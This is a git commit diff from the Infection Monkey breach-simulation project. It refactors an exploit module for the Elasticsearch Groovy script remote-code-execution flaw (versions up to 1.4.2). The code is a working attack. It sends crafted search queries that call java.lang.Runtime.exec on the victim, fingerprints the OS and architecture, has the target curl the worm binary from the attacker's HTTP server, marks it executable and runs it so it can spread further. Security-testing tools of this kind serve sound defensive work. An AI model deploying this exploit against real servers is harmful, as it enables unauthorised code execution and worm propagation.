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Fixed CR notes in 

https://github.com/guardicore/monkey/pull/51#pullrequestreview-65212211
This commit is contained in:
Daniel Goldberg 2017-09-26 18:16:20 +03:00
parent 798b2a8794
commit 5e8288e211
1 changed files with 77 additions and 66 deletions
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143
chaos_monkey/exploit/elasticgroovy.py
View File

@ -1,6 +1,7 @@
"""
Implementation is based on elastic search groovy exploit by metasploit
https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb
Max vulnerable elasticsearch version is "1.4.2"
"""
import json
@ -17,25 +18,26 @@ from tools import get_target_monkey, HTTPTools, build_monkey_commandline
__author__ = 'danielg'
LOG = logging.getLogger(__name__)
TIMEOUT = 2
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
VULNERABLE_VERSION = "1.4.2"
class ElasticGroovyExploiter(HostExploiter):
_target_os_type = ['linux', 'windows']
# attack URLs
BASE_URL = 'http://%s:%s/_search?pretty'
GENERIC_QUERY = '''{"size":1, "script_fields":{"monkey_result": {"script": "%s"}}}'''
MONKEY_RESULT_FIELD = "monkey_result"
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
JAVA_GET_TMP_DIR = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
JAVA_CMD = GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
def __init__(self):
self._config = __import__('config').WormConfiguration
self.skip_exist = self._config.skip_exploit_if_file_exist
self.host = None
def is_os_supported(self, host):
"""
@ -44,8 +46,8 @@ class ElasticGroovyExploiter(HostExploiter):
:param host: VictimHost
:return:
"""
if host.os.get('type') in self._target_os_type:
return True
if host.os.get('type') not in self._target_os_type:
return False
if ES_SERVICE not in host.services:
LOG.info("Host: %s doesn't have ES open" % host.ip_addr)
@ -61,9 +63,8 @@ class ElasticGroovyExploiter(HostExploiter):
def exploit_host(self, host, depth=-1, src_path=None):
assert isinstance(host, VictimHost)
self.host = host
real_host_os = self.get_host_os()
real_host_os = self.get_host_os(host)
host.os['type'] = str(real_host_os.lower()) # strip unicode characters
if 'linux' in host.os['type']:
return self.exploit_host_linux(host, depth, src_path)
@ -74,9 +75,6 @@ class ElasticGroovyExploiter(HostExploiter):
"""
TODO
Will exploit windows similar to smbexec
:param host:
:param depth:
:param src_path:
:return:
"""
return False
@ -85,16 +83,13 @@ class ElasticGroovyExploiter(HostExploiter):
"""
Exploits linux using similar flow to sshexec and shellshock.
Meaning run remote commands to copy files over HTTP
:param host:
:param depth:
:param src_path:
:return:
"""
uname_machine = self.get_linux_arch()
if '' != uname_machine:
uname_machine = str(self.get_linux_arch(host))
if len(uname_machine) != 0:
host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters
dropper_target_path_linux = self._config.dropper_target_path_linux
if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)):
if self.skip_exist and (self.check_if_remote_file_exists_linux(host, dropper_target_path_linux)):
LOG.info("Host %s was already infected under the current configuration, done" % host)
return True # return already infected
src_path = src_path or get_target_monkey(host)
@ -102,69 +97,88 @@ class ElasticGroovyExploiter(HostExploiter):
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
if not http_path:
LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__)
if not self.download_file_in_linux(host, src_path, target_path=dropper_target_path_linux):
return False
download_command = '/usr/bin/curl %s -o %s' % (
http_path, dropper_target_path_linux)
self.run_shell_command(download_command)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
if (http_thread.downloads != 1) or (
'ELF' not in
self.check_if_remote_file_exists_linux(dropper_target_path_linux)):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
return False
chmod = '/bin/chmod +x %s' % dropper_target_path_linux
self.run_shell_command(chmod)
self.set_file_executable_linux(host, dropper_target_path_linux)
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
cmdline += build_monkey_commandline(host, depth - 1) + ' & '
self.run_shell_command(cmdline)
self.run_shell_command(host, cmdline)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, host, cmdline)
if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)):
if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run")
return True
def check_if_remote_file_exists_linux(self, file_path):
def download_file_in_linux(self, host, src_path, target_path):
"""
Downloads a file in target machine using curl to the given target path
:param host:
:param src_path: File path relative to the monkey
:param target_path: Target path in linux victim
:return: T/F
"""
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
if not http_path:
LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__)
return False
download_command = '/usr/bin/curl %s -o %s' % (
http_path, target_path)
self.run_shell_command(host, download_command)
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
if (http_thread.downloads != 1) or (
'ELF' not in
self.check_if_remote_file_exists_linux(host, target_path)):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
return False
return True
def set_file_executable_linux(self, host, file_path):
"""
Marks the given file as executable using chmod
:return: Nothing
"""
chmod = '/bin/chmod +x %s' % file_path
self.run_shell_command(host, chmod)
LOG.info("Marked file %s on host %s as executable", file_path, host)
def check_if_remote_file_exists_linux(self, host, file_path):
"""
:param file_path:
:return:
"""
cmdline = '/usr/bin/head -c 4 %s' % file_path
return self.run_shell_command(cmdline)
return self.run_shell_command(host, cmdline)
def run_shell_command(self, command):
def run_shell_command(self, host, command):
"""
Runs a single shell command and returns the result.
:param command:
:return:
"""
payload = self.JAVA_CMD % command
return self.get_command_result(payload)
result = self.get_command_result(host, payload)
LOG.info("Ran the command %s on host %s", command, payload)
return result
def get_linux_arch(self):
def get_linux_arch(self, host):
"""
Returns host as per uname -m
:return:
"""
return self.get_command_result(self.JAVA_GET_BIT_LINUX)
return self.get_command_result(host, self.JAVA_GET_BIT_LINUX)
def get_host_tempdir(self):
def get_host_tempdir(self, host):
"""
Returns where to write our file given our permissions
:return: Temp directory path in target host
"""
return self.get_command_result(self.JAVA_GET_TMP_DIR)
return self.get_command_result(host, self.JAVA_GET_TMP_DIR)
def get_host_os(self):
def get_host_os(self, host):
"""
:return: target OS
"""
return self.get_command_result(self.JAVA_GET_OS)
return self.get_command_result(host, self.JAVA_GET_OS)
def is_vulnerable(self, host):
"""
@ -172,50 +186,47 @@ class ElasticGroovyExploiter(HostExploiter):
:param host: Host, with an open 9200 port
:return: True/False
"""
self.host = host
result_text = self.get_command_result(self.JAVA_IS_VULNERABLE)
result_text = self.get_command_result(host, self.JAVA_IS_VULNERABLE)
return 'java.lang.Runtime' in result_text
def get_command_result(self, payload):
def get_command_result(self, host, payload):
"""
Gets the result of an attack payload with a single return value.
:param host: VictimHost configuration
:param payload: Payload that fits the GENERIC_QUERY template.
:return:
"""
result = self.attack_query(payload)
result = self.attack_query(host, payload)
if not result: # not vulnerable
return False
if 1 != len(result): # weird
return None
return result[0]
@property
def attack_url(self):
"""
Composes the URL to attack per host IP and port.
:return:
"""
return self.BASE_URL % (self.host.ip_addr, ES_PORT)
def attack_query(self, payload):
def attack_query(self, host, payload):
"""
Wraps the requests query and the JSON parsing.
Just reduce opportunity for bugs
:param payload:
:return: List of data fields or None
"""
response = requests.get(self.attack_url, data=payload)
response = requests.get(self.attack_url(host), data=payload)
result = self.get_results(response)
return result
@staticmethod
def get_results(response):
def attack_url(self, host):
"""
Composes the URL to attack per host IP and port.
:return: Elasticsearch vulnerable URL
"""
return self.BASE_URL % (host.ip_addr, ES_PORT)
def get_results(self, response):
"""
Extracts the result data from our attack
:return: List of data fields or None
"""
try:
json_resp = json.loads(response.text)
return json_resp['hits']['hits'][0]['fields']['monkey_result']
return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
except KeyError:
return None